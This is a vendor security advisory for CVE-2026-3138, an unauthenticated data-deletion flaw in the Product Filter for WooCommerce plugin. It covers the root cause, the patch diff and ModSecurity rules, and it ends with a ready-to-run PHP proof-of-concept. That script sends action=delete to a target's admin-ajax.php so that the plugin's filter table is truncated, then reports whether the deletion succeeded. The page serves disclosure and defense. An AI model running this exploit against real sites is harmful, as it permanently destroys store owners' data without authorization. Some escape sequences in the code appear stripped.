Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 24, 2026

CVE-2026-3138: Product Filter for WooCommerce by WBW <= 3.1.2 – Missing Authorization to Unauthenticated Filter Data Deletion via TRUNCATE TABLE (woo-product-filter)

CVE ID CVE-2026-3138
Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 3.1.2
Patched Version 3.1.3
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3138:
This vulnerability is a missing authorization flaw in the Product Filter for WooCommerce plugin (versions <= 3.1.2) that allows unauthenticated attackers to permanently delete all plugin filter configurations via a crafted AJAX request. The vulnerability resides in the plugin's MVC framework and its handling of AJAX actions, leading to unauthorized truncation of the `wp_wpf_filters` database table.

The root cause is a combination of three design flaws in the plugin's architecture. First, the `_doExec()` method in `/woo-product-filter/classes/frame.php` dynamically registers AJAX handlers for both authenticated and unauthenticated users via `wp_ajax_` and `wp_ajax_nopriv_` hooks without initial capability verification. Second, the `ControllerWpf` class's `__call()` magic method in `/woo-product-filter/classes/controller.php` forwards undefined method calls directly to the model layer without any authorization checks. Third, the `havePermissions()` method in the same file defaults to returning `true` when no explicit permissions are defined for a controller action, creating an implicit allow-all policy.

Exploitation requires a single HTTP POST request to the WordPress admin-ajax.php endpoint with the `action` parameter set to `delete`. The attacker sends `action=delete` to `/wp-admin/admin-ajax.php`, which triggers the plugin's `delete` method via the `__call()` magic method. Since the `woofilters` controller lacks explicit permissions for the `delete` method in vulnerable versions, the `havePermissions()` method returns `true`, allowing the unauthenticated request to proceed. The model's `delete` method executes a `TRUNCATE TABLE wp_wpf_filters` SQL statement, permanently destroying all filter configurations.

The patch in version 3.1.3 implements multiple security layers. In `controller.php`, a `$blockedMethods` array blocks direct calls to `delete`, `clear`, and `removeGroup` via the `__call()` method. In `frame.php`, the `havePermissions()` method logic is inverted to default to `false` instead of `true`, and the `_doExec()` method now restricts `wp_ajax_nopriv_` registration to only two whitelisted actions: `filtersFrontend` and `getTaxonomyTerms`. Additionally, explicit `getPermissions()` methods were added to the `MetaControllerWpf` and `WoofiltersControllerWpf` classes, defining required user levels for each controller action.

Successful exploitation results in permanent data loss of all product filter configurations stored in the `wp_wpf_filters` table. This disrupts the filtering functionality on WooCommerce storefronts, potentially causing business disruption for e-commerce sites. The vulnerability has a CVSS score of 6.5 (Medium severity) due to the confidentiality and integrity impact being None, but availability impact being High through permanent data destruction.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woo-product-filter/classes/controller.php
+++ b/woo-product-filter/classes/controller.php
@@ -1,4 +1,14 @@
 <?php
+/**
+ * Product Filter by WBW - ControllerWpf Class
+ *
+ * @version 3.1.3
+ *
+ * @author  woobewoo
+ */
+
+defined( 'ABSPATH' ) || exit;
+
 abstract class ControllerWpf {
 	protected $_models = array();
 	protected $_views = array();
@@ -58,7 +68,7 @@
 			//if (importWpf($parentModule->getModDir() . 'models' . DS . $name . '.php')) {
 			$className = toeGetClassNameWpf($name . 'Model');
 		}
-
+
 		if ($className) {
 			$model = new $className();
 			$model->setCode( $this->getCode() );
@@ -77,7 +87,7 @@
 			//if (importWpf($parentModule->getModDir() . 'views' . DS . $name . '.php')) {
 			$className = toeGetClassNameWpf($name . 'View');
 		}
-
+
 		if ($className) {
 			$view = new $className();
 			$view->setCode( $this->getCode() );
@@ -94,7 +104,21 @@
 			$view->display();
 		}
 	}
+
+	/**
+	 * Magic method: __call
+	 *
+	 * @version 3.1.3
+	 *
+	 * @param $name
+	 * @param $arguments
+	 */
 	public function __call( $name, $arguments ) {
+		$blockedMethods = array( 'delete', 'clear', 'removeGroup' );
+		if ( in_array( $name, $blockedMethods, true ) ) {
+			return false;
+		}
+
 		$model = $this->getModel();
 		if (method_exists($model, $name)) {
 			return $model->$name($arguments[0]);
@@ -216,7 +240,7 @@
 		if (!current_user_can('manage_options')) {
 			wp_die();
 		}
-
+
 		$res = new ResponseWpf();
 		if ($this->getModel()->removeGroup(ReqWpf::getVar('listIds', 'post'))) {
 			$res->addMessage(esc_html__('Done', 'woo-product-filter'));
--- a/woo-product-filter/classes/frame.php
+++ b/woo-product-filter/classes/frame.php
@@ -2,7 +2,7 @@
 /**
  * Product Filter by WBW - FrameWpf Class
  *
- * @version 3.0.4
+ * @version 3.1.3
  *
  * @author  woobewoo
  */
@@ -256,7 +256,7 @@
 	/**
 	 * Check permissions for action in controller by $code and made corresponding action.
 	 *
-	 * @version 3.0.4
+	 * @version 3.1.3
 	 *
 	 * @param string $code Code of controller that need to be checked
 	 * @param string $action Action that need to be checked
@@ -266,41 +266,43 @@
 		if ($this->havePermissions($code, $action)) {
 			return true;
 		} else {
-			exit(esc_html__('You have no permissions to view this page', 'woo-product-filter'));
+			wp_send_json_error(
+				array( 'message' => esc_html__( 'You have no permissions to view this page', 'woo-product-filter' ) ),
+				403
+			);
 		}
 	}

 	/**
 	 * Check permissions for action in controller by $code.
 	 *
+	 * @version 3.1.3
+	 *
 	 * @param string $code Code of controller that need to be checked
 	 * @param string $action Action that need to be checked
 	 * @return bool true if ok, else - false
 	 */
 	public function havePermissions( $code, $action ) {
-		$res = true;
+		$res = false;
 		$mod = $this->getModule($code);
 		$action = strtolower($action);
 		if ($mod) {
 			$permissions = $mod->getController()->getPermissions();
 			if (!empty($permissions)) { // Special permissions
 				if (isset($permissions[WPF_METHODS]) && !empty($permissions[WPF_METHODS])) {
-					foreach ($permissions[WPF_METHODS] as $method => $permissions) {   // Make case-insensitive
-						$permissions[WPF_METHODS][strtolower($method)] = $permissions;
+					foreach ($permissions[WPF_METHODS] as $method => $permission) {   // Make case-insensitive
+						$permissions[WPF_METHODS][strtolower($method)] = $permission;
 					}
 					if (array_key_exists($action, $permissions[WPF_METHODS])) {        // Permission for this method exists
 						$currentUserPosition = self::_()->getModule('user')->getCurrentUserPosition();
 						if (
+							is_array($permissions[ WPF_METHODS ][ $action ] ) &&
 							(
-								is_array($permissions[ WPF_METHODS ][ $action ] ) &&
-								!in_array($currentUserPosition, $permissions[ WPF_METHODS ][ $action ])
-							) ||
-							(
-								!is_array($permissions[ WPF_METHODS ][ $action ]) &&
-								$permissions[WPF_METHODS][$action] != $currentUserPosition
+								in_array($currentUserPosition, $permissions[ WPF_METHODS ][ $action ]) ||
+								$permissions[WPF_METHODS][$action] === $currentUserPosition
 							)
 						) {
-							$res = false;
+							$res = true;
 						}
 					}
 				}
@@ -314,16 +316,16 @@
 						if (is_array($methods)) {
 							$lowerMethods = array_map('strtolower', $methods);           // Make case-insensitive
 							if (in_array($action, $lowerMethods)) {                      // Permission for this method exists
-								if ($currentUserPosition != $userlevel) {
-									$res = false;
+								if ($currentUserPosition === $userlevel) {
+									$res = true;
 								}
 								break;
 							}
 						} else {
 							$lowerMethod = strtolower($methods);             // Make case-insensitive
 							if ($lowerMethod == $action) {                   // Permission for this method exists
-								if ($currentUserPosition != $userlevel) {
-									$res = false;
+								if ($currentUserPosition === $userlevel) {
+									$res = true;
 								}
 								break;
 							}
@@ -406,14 +408,19 @@

 	/**
 	 * _doExec.
+	 *
+	 * @version 3.1.3
 	 */
 	protected function _doExec() {
 		$mod = $this->getModule($this->_mod);
 		if ($mod && $this->checkPermissions($this->_mod, $this->_action)) {
 			switch (ReqWpf::getVar('reqType')) {
 				case 'ajax':
-					add_action('wp_ajax_'        . $this->_action, array($mod->getController(), $this->_action));
-					add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));
+					add_action('wp_ajax_' . $this->_action, array($mod->getController(), $this->_action));
+					$noprivActions = array( 'filtersFrontend', 'getTaxonomyTerms' );
+					if ( in_array( $this->_action, $noprivActions ) ) {
+						add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));
+					}
 					break;
 				default:
 					$this->_res = $mod->exec($this->_action);
--- a/woo-product-filter/classes/modInstaller.php
+++ b/woo-product-filter/classes/modInstaller.php
@@ -1,16 +1,40 @@
 <?php
+/**
+ * Product Filter by WBW - ModInstallerWpf Class
+ *
+ * Handles the installation, activation, deactivation, and management of modules for the plugin.
+ *
+ * @version 3.1.3
+ *
+ * @author  woobewoo
+ */
+
+defined( 'ABSPATH' ) || exit;
+
 class ModInstallerWpf {
+
+	/**
+	 * _current.
+	 */
 	private static $_current = array();
+
+	/**
+	 * extPlugName.
+	 */
 	private static $extPlugName = '';
+
 	/**
-	 * Install new ModuleWpf into plugin
+	 * Install new ModuleWpf into plugin.
+	 *
+	 * @version 3.1.3
 	 *
 	 * @param string $module new ModuleWpf data (@see classes/tables/modules.php)
 	 * @param string $path path to the main plugin file from what module is installed
 	 * @return bool true - if install success, else - false
 	 */
 	public static function install( $module, $path ) {
-		$exPlugDest = explode('plugins', $path);
+		$plugin_dir = basename( untrailingslashit( WP_PLUGIN_DIR ) );
+		$exPlugDest = explode( $plugin_dir, $path );
 		if (!empty($exPlugDest[1])) {
 			$module['ex_plug_dir'] = str_replace(DS, '', $exPlugDest[1]);
 		}
@@ -21,7 +45,7 @@
 				if (empty($module['ex_plug_dir'])) {
 					$filesMoved = self::moveFiles($module['code'], $path);
 				} else {
-					$filesMoved = true;     //Those modules doesn't need to move their files
+					$filesMoved = true; // Those modules doesn't need to move their files
 				}
 				if ($filesMoved) {
 					if (FrameWpf::_()->getTable('modules')->exists($module['code'], 'code')) {
@@ -45,6 +69,10 @@
 		}
 		return false;
 	}
+
+	/**
+	 * _runModuleInstall.
+	 */
 	protected static function _runModuleInstall( $module, $action = 'install' ) {
 		$moduleLocationDir = WPF_MODULES_DIR;
 		if (!empty($module['ex_plug_dir'])) {
@@ -52,7 +80,6 @@
 		}
 		if (is_dir($moduleLocationDir . $module['code'])) {
 			if (!class_exists($module['code'] . strFirstUpWpf(WPF_CODE))) {
-				//importClassWpf($module['code'] . strFirstUpWpf(WPF_CODE), $moduleLocationDir . $module['code'] . DS . 'mod.php');
 				if (file_exists($moduleLocationDir . $module['code'] . DS . 'mod.php')) {
 					require $moduleLocationDir . $module['code'] . DS . 'mod.php';
 				}
@@ -64,8 +91,9 @@
 			}
 		}
 	}
+
 	/**
-	 * Check whether is or no module in given path
+	 * Check whether is or no module in given path.
 	 *
 	 * @param string $path path to the module
 	 * @return bool true if it is module, else - false
@@ -73,8 +101,9 @@
 	public static function isModule( $path ) {
 		return true;
 	}
+
 	/**
-	 * Move files to plugin modules directory
+	 * Move files to plugin modules directory.
 	 *
 	 * @param string $code code for module
 	 * @param string $path path from what module will be moved
@@ -93,13 +122,17 @@
 		}
 		return false;
 	}
+
+	/**
+	 * _getPluginLocations.
+	 */
 	private static function _getPluginLocations() {
 		$locations = array();
 		$plug = ReqWpf::getVar('plugin');
 		if ( ( empty( $plug ) || is_array($plug) ) && !empty(self::$extPlugName) ) {
 			$plug = self::$extPlugName;
 		}
-
+
 		if ( empty( $plug ) ) {
 			$plug = ReqWpf::getVar( 'checked' );
 			if ( isset( $plug[0] ) ) {
@@ -119,7 +152,7 @@
 	}

 	/**
-	 * Try to parse xml file with module data
+	 * Try to parse xml file with module data.
 	 *
 	 * @param string $xmlPath
 	 *
@@ -155,8 +188,9 @@
 		}
 		return $modDataArr;
 	}
+
 	/**
-	 * Check whether modules is installed or not, if not and must be activated - install it
+	 * Check whether modules is installed or not, if not and must be activated - install it.
 	 *
 	 * @param array $codes array with modules data to store in database
 	 * @param string $path path to plugin file where modules is stored (__FILE__ for example)
@@ -174,10 +208,10 @@
 		$modules = self::_getModulesFromXml($locations['xmlPath']);
 		foreach ($modules as $modDataArr) {
 			if (!empty($modDataArr)) {
-				//If module Exists - just activate it, we can't check this using FrameWpf::moduleExists because this will not work for multy-site WP
+				// If module Exists - just activate it, we can't check this using FrameWpf::moduleExists because this will not work for multi-site WP
 				if (FrameWpf::_()->getTable('modules')->exists($modDataArr['code'], 'code')) {
 					self::activate($modDataArr);
-					//  if not - install it
+					// if not - install it
 				} else {
 					$m = '';
 					if (!self::install($modDataArr, $locations['plugDir'])) {
@@ -195,14 +229,16 @@
 		update_option(WPF_CODE . '_full_installed', 1);
 		return true;
 	}
+
 	/**
-	 * Public alias for _getCheckRegPlugs()
-	 * We will run this each time plugin start to check modules activation messages
+	 * Public alias for _getCheckRegPlugs().
+	 * We will run this each time plugin start to check modules activation messages.
 	 */
 	public static function checkActivationMessages() {
 	}
+
 	/**
-	 * Deactivate module after deactivating external plugin
+	 * Deactivate module after deactivating external plugin.
 	 */
 	public static function deactivate( $exclude = array() ) {
 		$locations = self::_getPluginLocations();
@@ -212,7 +248,7 @@
 		}

 		foreach ($modules as $modDataArr) {
-			if (FrameWpf::_()->moduleActive($modDataArr['code']) && !in_array($modDataArr['code'], $exclude)) { //If module is active - then deacivate it
+			if (FrameWpf::_()->moduleActive($modDataArr['code']) && !in_array($modDataArr['code'], $exclude)) { // If module is active - then deactivate it
 				if (FrameWpf::_()->getModule('options')->getModel('modules')->put(array(
 					'id' => FrameWpf::_()->getModule($modDataArr['code'])->getID(),
 					'active' => 0,
@@ -228,11 +264,15 @@
 		}
 		return true;
 	}
+
+	/**
+	 * activate.
+	 */
 	public static function activate( $modDataArr ) {
 		$locations = self::_getPluginLocations();
 		$modules = self::_getModulesFromXml($locations['xmlPath']);
 		foreach ($modules as $modDataArr) {
-			if (!FrameWpf::_()->moduleActive($modDataArr['code'])) { //If module is not active - then acivate it
+			if (!FrameWpf::_()->moduleActive($modDataArr['code'])) { // If module is not active - then activate it
 				if (FrameWpf::_()->getModule('options')->getModel('modules')->put(array(
 					'code' => $modDataArr['code'],
 					'active' => 1,
@@ -247,9 +287,10 @@
 				}
 			}
 		}
-	}
+	}
+
 	/**
-	 * Display all errors for module installer, must be used ONLY if You realy need it
+	 * Display all errors for module installer, must be used ONLY if You really need it.
 	 */
 	public static function displayErrors( $exit = true ) {
 		$errors = ErrorsWpf::get(ErrorsWpf::MOD_INSTALL);
@@ -260,6 +301,10 @@
 			exit();
 		}
 	}
+
+	/**
+	 * uninstall.
+	 */
 	public static function uninstall() {
 		$isPro = false;
 		$locations = self::_getPluginLocations();
@@ -278,9 +323,17 @@
 			self::uninstallLicense();
 		}
 	}
+
+	/**
+	 * uninstallLicense.
+	 */
 	public static function uninstallLicense() {
 		FrameWpf::_()->getModule('options')->getModel()->save('license_save_name', '');
 	}
+
+	/**
+	 * _uninstallTables.
+	 */
 	protected static function _uninstallTables( $module ) {
 		if (is_dir(WPF_MODULES_DIR . $module['code'] . DS . 'tables')) {
 			$tableFiles = UtilsWpf::getFilesList(WPF_MODULES_DIR . $module['code'] . DS . 'tables');
@@ -294,8 +347,12 @@
 			}
 		}
 	}
+
+	/**
+	 * _installTables.
+	 */
 	public static function _installTables( $module, $action = 'install' ) {
-		$modDir = empty($module['ex_plug_dir']) ? WPF_MODULES_DIR . $module['code'] . DS : UtilsWpf::getPluginDir($module['ex_plug_dir']) . $module['code'] . DS;
+		$modDir = empty($module['ex_plug_dir']) ? WPF_MODULES_DIR . $module['code'] . DS : UtilsWpf::getPluginDir($module['ex_plug_dir']) . $module['code'] . DS;
 		if (is_dir($modDir . 'tables')) {
 			$tableFiles = UtilsWpf::getFilesList($modDir . 'tables');
 			if (!empty($tableFiles)) {
--- a/woo-product-filter/config.php
+++ b/woo-product-filter/config.php
@@ -62,7 +62,7 @@
 define('WPF_EOL', "n");

 define('WPF_PLUGIN_INSTALLED', true);
-define('WPF_VERSION', '3.1.2');
+define('WPF_VERSION', '3.1.3');
 define('WPF_PRO_REQUIRES', '2.0.0');
 define('WPF_USER', 'user');

--- a/woo-product-filter/modules/meta/controller.php
+++ b/woo-product-filter/modules/meta/controller.php
@@ -1,8 +1,18 @@
 <?php
+/**
+ * Product Filter by WBW - MetaControllerWpf Class
+ *
+ * @version 3.1.3
+ *
+ * @author  woobewoo
+ */
+
+defined( 'ABSPATH' ) || exit;
+
 class MetaControllerWpf extends ControllerWpf {

 	protected $_code = 'meta';
-
+
 	public function doMetaIndexingFree() {
 		return $this->doMetaIndexing(false);
 	}
@@ -46,4 +56,22 @@
 		}
 		return $res->ajaxExec();
 	}
+
+	/**
+	 * getPermissions.
+	 *
+	 * @version 3.1.3
+	 * @since   3.1.3
+	 *
+	 * @return array
+	 */
+	public function getPermissions() {
+		return array(
+			WPF_USERLEVELS => array(
+				WPF_ADMIN => array(
+					'doMetaIndexingFree', 'doMetaIndexing', 'doMetaOptimizing',
+				)
+			),
+		);
+	}
 }
--- a/woo-product-filter/modules/woofilters/controller.php
+++ b/woo-product-filter/modules/woofilters/controller.php
@@ -2,7 +2,7 @@
 /**
  * Product Filter by WBW - WoofiltersControllerWpf Class
  *
- * @version 3.1.1
+ * @version 3.1.3
  *
  * @author  woobewoo
  */
@@ -1151,4 +1151,39 @@

 		return $args;
 	}
+
+	/**
+	 * getPermissions.
+	 *
+	 * @version 3.1.3
+	 * @since   3.1.3
+	 *
+	 * @return array
+	 */
+	public function getPermissions() {
+		return array(
+			WPF_METHODS => array(
+				'getListForTbl' => array(
+					WPF_ADMIN
+				),
+				'save' => array(
+					WPF_ADMIN
+				),
+				'removeGroup' => array(
+					WPF_ADMIN
+				),
+				'deleteByID' => array(
+					WPF_ADMIN
+				),
+				'drawFilterAjax' => array(
+					WPF_ADMIN
+				),
+				'filtersFrontend' => array(
+					WPF_GUEST,
+					WPF_ADMIN,
+					WPF_LOGGED
+				),
+			),
+		);
+	}
 }
--- a/woo-product-filter/modules/woofilters/mod.php
+++ b/woo-product-filter/modules/woofilters/mod.php
@@ -2,7 +2,7 @@
 /**
  * Product Filter by WBW - WoofiltersWpf Class
  *
- * @version 3.0.2
+ * @version 3.1.3
  *
  * @author  woobewoo
  */
@@ -4012,7 +4012,7 @@
 	/**
 	 * Returns items in filter blocks.
 	 *
-	 * @version 2.9.4
+	 * @version 3.1.3
 	 *
 	 * @param $filterLoop
 	 * @param $param
@@ -4066,7 +4066,9 @@
 		if ( ! empty( $taxonomyList ) ) {
 			$addSqls['main']['withCount']    = $param['withCount'];
 			$addSqls['main']['fields']       = ( $param['withCount'] ? '' : 'DISTINCT ' ) . 'tr.term_taxonomy_id, tt.term_id, tt.taxonomy, tt.parent' . ( $param['withCount'] ? ', COUNT(*) as cnt' : '' );
-			$addSqls['main']['taxonomyList'] = implode( "', '", $taxonomyList );
+
+			$taxonomyListFormatter           = implode( ',', array_fill( 0, count( $taxonomyList ), '%s' ) );
+			$addSqls['main']['taxonomyList'] = $wpdb->prepare( $taxonomyListFormatter, ...$taxonomyList );

 			if ( $byVariations ) {
 				$attrTaxonomyList = array();
@@ -4137,7 +4139,7 @@
 				$sql[ $key ] .= ' INNER JOIN ' . $wpdb->terms . ' ttt ON (ttt.term_id=tt.term_id) ' . $typeJoin;
 			}

-			$sql[ $key ] .= ' WHERE tt.taxonomy IN ('' . $addSql['taxonomyList'] . '')';
+			$sql[ $key ] .= ' WHERE tt.taxonomy IN ( ' . $addSql['taxonomyList'] . ' )';

 			if ( $byVariations ) {
 				$sql[ $key ] .= ' AND (md_type.val_id!=' . $variableMetaId .
--- a/woo-product-filter/woo-product-filter.php
+++ b/woo-product-filter/woo-product-filter.php
@@ -3,14 +3,14 @@
  * Plugin Name: Product Filter for WooCommerce by WBW
  * Plugin URI: https://woobewoo.com/product/woocommerce-filter/
  * Description: Filter products in your store in most efficient way
- * Version: 3.1.2
+ * Version: 3.1.3
  * Author: woobewoo
  * Author URI: https://woobewoo.com/
  * Requires at least: 3.4.0
  * Text Domain: woo-product-filter
  * Domain Path: /languages
  * WC requires at least: 3.4.1
- * WC tested up to: 10.5
+ * WC tested up to: 10.6
  * Requires Plugins: woocommerce
  **/

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3138
# Blocks unauthenticated TRUNCATE TABLE attacks via Product Filter for WooCommerce plugin <= 3.1.2
# Targets the specific AJAX action 'delete' which should never be accessible to unauthenticated users
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:1003138,phase:2,deny,status:403,chain,msg:'CVE-2026-3138: Unauthenticated filter data deletion via Product Filter for WooCommerce',severity:'CRITICAL',tag:'CVE-2026-3138',tag:'WordPress',tag:'Plugin/WooCommerce-Filter',tag:'Attack/Data-Destruction'"
  SecRule ARGS_POST:action "@streq delete" "chain"
    SecRule &ARGS_POST:nonce "@eq 0" 
      "t:none,setvar:'tx.cve_2026_3138_block=1'"

# Alternative rule for GET requests (though exploit uses POST)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:1003139,phase:2,deny,status:403,chain,msg:'CVE-2026-3138: Unauthenticated filter data deletion via GET request',severity:'CRITICAL',tag:'CVE-2026-3138',tag:'WordPress',tag:'Plugin/WooCommerce-Filter'"
  SecRule ARGS_GET:action "@streq delete" 
    "t:none,setvar:'tx.cve_2026_3138_block=1'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3138 - Product Filter for WooCommerce by WBW <= 3.1.2 - Missing Authorization to Unauthenticated Filter Data Deletion via TRUNCATE TABLE

<?php
/**
 * Proof of Concept for CVE-2026-3138
 * Unauthenticated TRUNCATE TABLE exploit for Product Filter for WooCommerce plugin <= 3.1.2
 * 
 * Usage: php poc.php http://target-wordpress-site.com
 */

$target_url = isset($argv[1]) ? rtrim($argv[1], '/') : 'http://localhost/wordpress';

// WordPress admin-ajax.php endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Craft the exploit payload
$post_data = array(
    'action' => 'delete'  // Triggers the vulnerable delete method via __call()
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'X-Requested-With: XMLHttpRequest',
    'Accept: application/json, text/javascript, */*; q=0.01'
));

echo "[+] Target: $target_urln";
echo "[+] Sending exploit payload to admin-ajax.php...n";

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo "[-] cURL Error: " . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

curl_close($ch);

echo "[+] HTTP Response Code: $http_coden";

if ($http_code == 200) {
    echo "[+] Request successful. Checking response...n";
    
    // The plugin may return different responses depending on version
    if (strpos($response, 'success') !== false || strpos($response, 'true') !== false) {
        echo "[+] SUCCESS: Filter table likely truncated.n";
        echo "[+] All product filter configurations have been deleted.n";
    } else if (strpos($response, 'permissions') !== false || strpos($response, '403') !== false) {
        echo "[-] Target appears to be patched (permission denied).n";
    } else {
        echo "[?] Unknown response. Raw output:n";
        echo $response . "n";
    }
} else if ($http_code == 403) {
    echo "[-] Target appears to be patched (HTTP 403 Forbidden).n";
} else {
    echo "[?] Unexpected HTTP code. Response:n";
    echo $response . "n";
}

// Verify by attempting to access filter functionality
$verify_url = $target_url . '/?post_type=product';
echo "n[+] Verification: Visit $verify_url to check if filters still work.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School